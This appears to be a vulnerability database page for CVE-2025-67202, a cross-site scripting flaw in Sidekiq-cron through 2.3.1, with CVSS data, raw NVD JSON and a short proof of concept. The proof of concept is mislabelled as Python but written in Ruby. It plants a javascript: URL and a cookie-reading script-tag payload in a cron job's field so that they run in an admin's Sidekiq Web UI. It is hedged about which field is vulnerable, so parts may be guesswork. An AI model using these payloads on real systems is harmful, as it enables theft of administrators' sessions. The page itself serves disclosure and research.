Security Vulnerability Report
中文
CVE-2025-67202 CVSS 6.1 MEDIUM

CVE-2025-67202

Published: 2026-05-07 15:16:05
Last Modified: 2026-05-08 23:16:35

Description

Sidekiq-cron thru 2.3.1, an open-source scheduling add-on for Sidekiq, is vulnerable to a cross-site scripting (xss) vulnerability via crafted URL being rended from cron.erb.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Sidekiq-cron <= 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2025-67202 # This demonstrates how a malicious URL can trigger XSS in Sidekiq-cron <= 2.3.1 # The vulnerability exists in the 'cron.erb' template where the URL is rendered unsanitized. require 'sidekiq-cron' require 'sidekiq/web' # Malicious job configuration simulating user input job_config = { 'name' => 'XSS_PoC_Job', 'class' => 'HardWorker', 'cron' => '* * * * *', # Vulnerable Field: 'url' or similar parameter rendered in cron.erb 'url' => 'javascript:alert("CVE-2025-67202_XSS")' # Alternatively, try HTML injection if the context allows: # 'url' => '"><script>alert(document.cookie)</script>' } # Simulating loading the job into Redis/Sidekiq # In a real attack, this would be done via API or compromised access Sidekiq::Cron::Job.load_from_hash(job_config) puts "Malicious job loaded. View the Sidekiq Web UI to trigger the XSS." # Explanation: # 1. The job is persisted with the malicious 'url'. # 2. When an admin visits the Sidekiq Web UI, cron.erb is rendered. # 3. The template outputs the 'url' value directly into the HTML. # 4. The browser executes the javascript: protocol or script tag.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67202", "sourceIdentifier": "[email protected]", "published": "2026-05-07T15:16:04.947", "lastModified": "2026-05-08T23:16:34.590", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sidekiq-cron thru 2.3.1, an open-source scheduling add-on for Sidekiq, is vulnerable to a cross-site scripting (xss) vulnerability via crafted URL being rended from cron.erb."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/sidekiq-cron/sidekiq-cron/issues/569", "source": "[email protected]"}, {"url": "https://github.com/sidekiq-cron/sidekiq-cron/releases/tag/v2.4.0", "source": "[email protected]"}, {"url": "https://github.com/sidekiq-cron/sidekiq-cron/issues/569", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}